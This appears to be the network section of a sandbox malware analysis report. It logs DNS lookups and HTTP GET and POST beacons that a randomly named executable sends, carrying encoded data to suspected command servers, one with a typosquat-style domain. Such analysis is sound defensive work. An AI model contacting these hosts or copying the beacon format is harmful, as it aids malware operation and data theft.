Oct 8, 2024 14:19:41.004734039 CEST	50014	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:41.009896994 CEST	80	50014	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:42.024537086 CEST	50015	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:42.029800892 CEST	80	50015	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:42.035618067 CEST	50015	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:42.037537098 CEST	50015	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:42.042535067 CEST	80	50015	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:43.465883017 CEST	80	50015	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:43.466574907 CEST	80	50015	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:43.467408895 CEST	50015	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:43.468411922 CEST	50015	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:19:43.474503994 CEST	80	50015	3.33.130.190	192.168.2.4
Oct 8, 2024 14:19:48.529968977 CEST	50016	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:48.535007000 CEST	80	50016	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:48.535070896 CEST	50016	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:48.545311928 CEST	50016	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:48.550528049 CEST	80	50016	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:49.021306038 CEST	80	50016	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:49.021404982 CEST	50016	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:50.053539991 CEST	50016	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:50.058880091 CEST	80	50016	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:51.069788933 CEST	50017	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:51.075198889 CEST	80	50017	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:51.075432062 CEST	50017	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:51.084002972 CEST	50017	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:51.089219093 CEST	80	50017	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:51.535839081 CEST	80	50017	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:51.538605928 CEST	50017	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:52.598484993 CEST	50017	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:52.603261948 CEST	80	50017	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.618611097 CEST	50018	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:53.623570919 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.627614021 CEST	50018	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:53.639532089 CEST	50018	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:53.644536018 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.644567966 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.644576073 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.645231009 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.645240068 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.645246983 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.645250082 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.645252943 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:53.645256042 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:54.089215994 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:54.095535040 CEST	50018	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:55.145564079 CEST	50018	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:55.150844097 CEST	80	50018	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.166920900 CEST	50019	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:56.172429085 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.172497988 CEST	50019	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:56.180372000 CEST	50019	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:56.185410976 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641262054 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641294003 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641304016 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641315937 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641328096 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641339064 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641350031 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641347885 CEST	50019	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:56.641418934 CEST	50019	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:56.641437054 CEST	50019	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:56.641935110 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641944885 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641956091 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:19:56.641968966 CEST	50019	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:56.641997099 CEST	50019	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:56.648366928 CEST	50019	80	192.168.2.4	84.32.84.32
Oct 8, 2024 14:19:56.653604984 CEST	80	50019	84.32.84.32	192.168.2.4
Oct 8, 2024 14:20:17.839540005 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:17.844429016 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:17.846064091 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:17.854618073 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:17.859424114 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:18.324790001 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:18.324853897 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:19.364371061 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:19.707858086 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:20.358031034 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:20.358042955 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:20.358114004 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:20.402312040 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:20.578967094 CEST	80	50021	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:20.579040051 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:20.592905045 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:20.597750902 CEST	80	50021	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:21.055676937 CEST	80	50021	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:21.055768013 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:22.099119902 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:22.225018024 CEST	80	50021	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.123080015 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:23.459491014 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.467550993 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:23.475444078 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:23.480285883 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.480305910 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.480309963 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.480314016 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.480386972 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.480396986 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.480453014 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.480460882 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:23.480473995 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:24.989150047 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:24.994601965 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:24.994652033 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:26.007857084 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:26.012877941 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:26.013020992 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:26.021681070 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:26.027211905 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:26.592878103 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:26.592982054 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:26.592992067 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:26.593066931 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:26.595278025 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:26.600347996 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:32.157586098 CEST	50024	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:32.162533998 CEST	80	50024	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:32.163671970 CEST	50024	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:32.172312975 CEST	50024	80	192.168.2.4	3.33.130.190
Oct 8, 2024 14:20:32.177203894 CEST	80	50024	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:32.620474100 CEST	80	50024	3.33.130.190	192.168.2.4
Oct 8, 2024 14:20:32.623568058 CEST	50024	80	192.168.2.4	3.33.130.190

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 14:18:22.732892036 CEST	63682	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:18:22.779189110 CEST	53	63682	1.1.1.1	192.168.2.4
Oct 8, 2024 14:18:38.757663965 CEST	58253	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:18:38.777872086 CEST	53	58253	1.1.1.1	192.168.2.4
Oct 8, 2024 14:19:12.790566921 CEST	64846	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:19:13.004214048 CEST	53	64846	1.1.1.1	192.168.2.4
Oct 8, 2024 14:19:26.291313887 CEST	64430	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:19:26.306682110 CEST	53	64430	1.1.1.1	192.168.2.4
Oct 8, 2024 14:19:34.368849993 CEST	56173	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:19:34.381663084 CEST	53	56173	1.1.1.1	192.168.2.4
Oct 8, 2024 14:19:48.477114916 CEST	49690	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:19:48.527544975 CEST	53	49690	1.1.1.1	192.168.2.4
Oct 8, 2024 14:20:01.664063931 CEST	55761	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:20:01.676971912 CEST	53	55761	1.1.1.1	192.168.2.4
Oct 8, 2024 14:20:09.746516943 CEST	61201	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:20:09.763539076 CEST	53	61201	1.1.1.1	192.168.2.4
Oct 8, 2024 14:20:17.821336985 CEST	61629	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:20:17.835716009 CEST	53	61629	1.1.1.1	192.168.2.4
Oct 8, 2024 14:20:31.931428909 CEST	57040	53	192.168.2.4	1.1.1.1
Oct 8, 2024 14:20:32.152512074 CEST	53	57040	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 14:18:22.732892036 CEST	192.168.2.4	1.1.1.1	0xd54d	Standard query (0)	www.nad5.shop	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:18:38.757663965 CEST	192.168.2.4	1.1.1.1	0xd16a	Standard query (0)	www.impo232rt.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:19:12.790566921 CEST	192.168.2.4	1.1.1.1	0xee57	Standard query (0)	www.cenfresh.life	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:19:26.291313887 CEST	192.168.2.4	1.1.1.1	0x856f	Standard query (0)	www.trafegomagico.shop	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:19:34.368849993 CEST	192.168.2.4	1.1.1.1	0x54a7	Standard query (0)	www.digitalbloom.info	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:19:48.477114916 CEST	192.168.2.4	1.1.1.1	0x9c65	Standard query (0)	www.thepeatear.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:01.664063931 CEST	192.168.2.4	1.1.1.1	0x6b6a	Standard query (0)	www.mktimediato.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:09.746516943 CEST	192.168.2.4	1.1.1.1	0x9749	Standard query (0)	www.schoolsfrirstfcu.org	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:17.821336985 CEST	192.168.2.4	1.1.1.1	0x1acd	Standard query (0)	www.crowsecurity.cloud	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:31.931428909 CEST	192.168.2.4	1.1.1.1	0xf003	Standard query (0)	www.myjiorooms.services	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 14:18:22.779189110 CEST	1.1.1.1	192.168.2.4	0xd54d	No error (0)	www.nad5.shop		156.226.22.233	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:18:38.777872086 CEST	1.1.1.1	192.168.2.4	0xd16a	No error (0)	www.impo232rt.xyz		176.32.38.141	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:19:13.004214048 CEST	1.1.1.1	192.168.2.4	0xee57	No error (0)	www.cenfresh.life		199.192.21.169	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:19:26.306682110 CEST	1.1.1.1	192.168.2.4	0x856f	Server failure (2)	www.trafegomagico.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:19:34.381663084 CEST	1.1.1.1	192.168.2.4	0x54a7	No error (0)	www.digitalbloom.info	digitalbloom.info		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 14:19:34.381663084 CEST	1.1.1.1	192.168.2.4	0x54a7	No error (0)	digitalbloom.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:19:34.381663084 CEST	1.1.1.1	192.168.2.4	0x54a7	No error (0)	digitalbloom.info		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:19:48.527544975 CEST	1.1.1.1	192.168.2.4	0x9c65	No error (0)	www.thepeatear.online	thepeatear.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 14:19:48.527544975 CEST	1.1.1.1	192.168.2.4	0x9c65	No error (0)	thepeatear.online		84.32.84.32	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:01.676971912 CEST	1.1.1.1	192.168.2.4	0x6b6a	Name error (3)	www.mktimediato.online	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:09.763539076 CEST	1.1.1.1	192.168.2.4	0x9749	Name error (3)	www.schoolsfrirstfcu.org	none	none	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:17.835716009 CEST	1.1.1.1	192.168.2.4	0x1acd	No error (0)	www.crowsecurity.cloud	crowsecurity.cloud		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 14:20:17.835716009 CEST	1.1.1.1	192.168.2.4	0x1acd	No error (0)	crowsecurity.cloud		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:17.835716009 CEST	1.1.1.1	192.168.2.4	0x1acd	No error (0)	crowsecurity.cloud		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:32.152512074 CEST	1.1.1.1	192.168.2.4	0xf003	No error (0)	www.myjiorooms.services	myjiorooms.services		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 14:20:32.152512074 CEST	1.1.1.1	192.168.2.4	0xf003	No error (0)	myjiorooms.services		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 14:20:32.152512074 CEST	1.1.1.1	192.168.2.4	0xf003	No error (0)	myjiorooms.services		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.nad5.shop

www.impo232rt.xyz

www.cenfresh.life

www.digitalbloom.info

www.thepeatear.online

www.crowsecurity.cloud

www.myjiorooms.services

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49752	156.226.22.233	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:18:22.795846939 CEST	438	OUT	GET /i70z/?Yp=eXMH4fkp&nrs8j=8fwlLwm+T0nphGhW7PHH3xFKB5SB8SFc9+r/t0QDCeclosptBaw61DZvImsaGCeeZR7Fl0K64LM59E0NLQ1vdm4QrRMTpos6Kj6ui5/Q8OeERMbnF/TN1fg= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.nad5.shop Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3
Oct 8, 2024 14:18:23.711133003 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 08 Oct 2024 12:18:23 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49835	176.32.38.141	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:18:38.799689054 CEST	712	OUT	POST /azcx/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.impo232rt.xyz Content-Type: application/x-www-form-urlencoded Content-Length: 202 Connection: close Cache-Control: no-cache Origin: http://www.impo232rt.xyz Referer: http://www.impo232rt.xyz/azcx/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 76 70 6b 34 5a 57 39 38 46 38 7a 79 41 70 50 35 6b 63 73 65 6c 7a 2f 74 67 34 43 71 77 31 6e 49 2f 50 64 76 49 64 43 63 2b 73 44 48 6c 4e 65 4b 45 36 4a 34 31 62 48 73 70 62 51 57 72 33 62 4c 56 72 53 55 37 30 42 5a 6b 68 31 35 67 4a 6c 48 37 44 61 4d 51 49 6b 34 77 6b 31 4d 74 4c 6e 42 77 46 46 77 76 74 76 2b 53 35 6b 63 66 32 4c 42 6f 2b 32 41 49 4e 4c 70 2f 58 45 69 4c 71 50 38 54 76 4a 54 4e 73 7a 48 61 62 6d 47 61 6e 6d 37 4d 6d 63 52 31 71 56 69 57 2f 7a 47 4b 4e 5a 76 4a 43 75 70 56 4e 30 46 4a 59 6d 67 34 7a 39 4e 52 48 7a 44 76 46 47 45 6f 4a 6b 7a 56 71 64 69 69 41 3d 3d Data Ascii: nrs8j=vpk4ZW98F8zyApP5kcselz/tg4Cqw1nI/PdvIdCc+sDHlNeKE6J41bHspbQWr3bLVrSU70BZkh15gJlH7DaMQIk4wk1MtLnBwFFwvtv+S5kcf2LBo+2AINLp/XEiLqP8TvJTNszHabmGanm7MmcR1qViW/zGKNZvJCupVN0FJYmg4z9NRHzDvFGEoJkzVqdiiA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49855	176.32.38.141	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:18:41.334286928 CEST	732	OUT	POST /azcx/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.impo232rt.xyz Content-Type: application/x-www-form-urlencoded Content-Length: 222 Connection: close Cache-Control: no-cache Origin: http://www.impo232rt.xyz Referer: http://www.impo232rt.xyz/azcx/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 76 70 6b 34 5a 57 39 38 46 38 7a 79 43 4a 66 35 68 37 59 65 67 54 2f 75 76 59 43 71 35 56 6e 4d 2f 50 68 76 49 59 37 52 2f 66 72 48 6b 73 75 4b 48 2f 6c 34 30 62 48 73 6d 37 52 63 30 48 62 36 56 71 75 79 37 31 4e 5a 6b 68 78 35 67 4d 4a 48 37 55 47 44 52 59 6b 2b 6c 55 31 4f 70 4c 6e 42 77 46 46 77 76 74 36 5a 53 35 73 63 66 6d 37 42 70 66 33 57 58 39 4c 71 70 48 45 69 50 71 50 77 54 76 4a 78 4e 74 2f 68 61 64 69 47 61 69 4b 37 4e 30 34 53 37 71 55 72 4c 76 79 57 4c 4d 49 58 46 52 44 54 56 76 63 43 4b 72 69 54 39 31 73 58 41 32 53 55 39 46 69 33 31 4f 74 48 59 70 67 72 35 47 70 6a 4c 42 37 71 46 31 30 4b 62 54 5a 6d 39 2b 6e 59 48 64 41 3d Data Ascii: nrs8j=vpk4ZW98F8zyCJf5h7YegT/uvYCq5VnM/PhvIY7R/frHksuKH/l40bHsm7Rc0Hb6Vquy71NZkhx5gMJH7UGDRYk+lU1OpLnBwFFwvt6ZS5scfm7Bpf3WX9LqpHEiPqPwTvJxNt/hadiGaiK7N04S7qUrLvyWLMIXFRDTVvcCKriT91sXA2SU9Fi31OtHYpgr5GpjLB7qF10KbTZm9+nYHdA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49868	176.32.38.141	80	1228	C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 14:18:43.886420012 CEST	10814	OUT	POST /azcx/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.impo232rt.xyz Content-Type: application/x-www-form-urlencoded Content-Length: 10302 Connection: close Cache-Control: no-cache Origin: http://www.impo232rt.xyz Referer: http://www.impo232rt.xyz/azcx/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.43 Safari/537.36 Vivaldi/1.0.252.3 Data Raw: 6e 72 73 38 6a 3d 76 70 6b 34 5a 57 39 38 46 38 7a 79 43 4a 66 35 68 37 59 65 67 54 2f 75 76 59 43 71 35 56 6e 4d 2f 50 68 76 49 59 37 52 2f 66 7a 48 6b 61 36 4b 45 63 39 34 6d 4c 48 73 76 62 52 64 30 48 62 64 56 72 47 2b 37 31 52 7a 6b 69 5a 35 68 71 64 48 73 57 75 44 65 59 6b 2b 6e 55 31 4c 74 4c 6e 51 77 46 31 4b 76 74 71 5a 53 35 73 63 66 6b 7a 42 35 2b 33 57 4d 39 4c 70 2f 58 45 2b 4c 71 4f 6c 54 76 42 4c 4e 74 72 58 62 75 71 47 61 47 71 37 42 6d 67 53 33 71 55 70 49 76 7a 54 4c 4d 45 49 46 51 76 75 56 76 45 6b 4b 73 71 54 78 7a 5a 38 64 6c 69 33 76 56 4c 6f 6c 4f 4e 59 41 4b 4d 53 2b 55 5a 49 44 53 58 39 52 6b 49 67 65 44 6f 35 68 73 48 4d 65 72 46 73 4c 46 62 41 58 54 6d 67 6e 69 59 66 41 45 6e 51 75 51 6f 72 52 41 65 42 49 50 53 4d 32 70 36 32 56 2f 75 45 37 76 4d 72 79 39 36 71 57 68 4e 6b 43 64 79 64 58 4f 38 65 31 52 55 58 35 61 79 76 56 6d 6b 4b 79 6d 77 32 34 65 75 53 69 4a 7a 54 49 76 68 64 42 57 64 6f 35 76 61 64 41 51 73 48 58 62 44 4c 7a 41 4b 41 59 6e 68 51 48 64 57 48 4f 38 72 33 [TRUNCATED] Data Ascii: nrs8j=vpk4ZW98F8zyCJf5h7YegT/uvYCq5VnM/PhvIY7R/fzHka6KEc94mLHsvbRd0HbdVrG+71RzkiZ5hqdHsWuDeYk+nU1LtLnQwF1KvtqZS5scfkzB5+3WM9Lp/XE+LqOlTvBLNtrXbuqGaGq7BmgS3qUpIvzTLMEIFQvuVvEkKsqTxzZ8dli3vVLolONYAKMS+UZIDSX9RkIgeDo5hsHMerFsLFbAXTmgniYfAEnQuQorRAeBIPSM2p62V/uE7vMry96qWhNkCdydXO8e1RUX5ayvVmkKymw24euSiJzTIvhdBWdo5vadAQsHXbDLzAKAYnhQHdWHO8r3W6dSPpERkhhIvlFroC2tO6boa+LiRGX11ubys0RtnCklxajZ1tlQbWwJZTauvLhYf/kdOpSU8U2mALZ0rAWFz7Y125RzwEl3n87SkuJpfAcxgXfQi3v9D5BMh2K99O1KsaFQfDwngh1JhOWROk2jrMK4YC3eyigSF1wf3MXpbwk8WtZyeqPldvH+AjxB475YwkhC8vts/sP0ld3qY8BStoZ8pWMPwgdrwEzCiMe1T9wdzyf30oPddckWJOqCC4WoU+w9TSK4jHsw3TH4QIqX/i815FkrgTbRvgV+ib1bka+NTRee6RNj4BC/RKU4j02YCPIWG5ZqKdMpAfVYnCMl5o2O0hVRMu1x8ZQsD6cdwRApd0HWyXvr6UlxM2Ex0RPQXCTPsblP0wBtMgvhBk1H9m+dyfQLPzephMSfpf3jKMvWoAV8pXnZzxMvu1K6lhwilCq6BSvV07oxNdyzHk4CA8nF9vW4HLHdqA1GxznzppL+3WWpGTALdO/mrTCfWFBHgLIchqu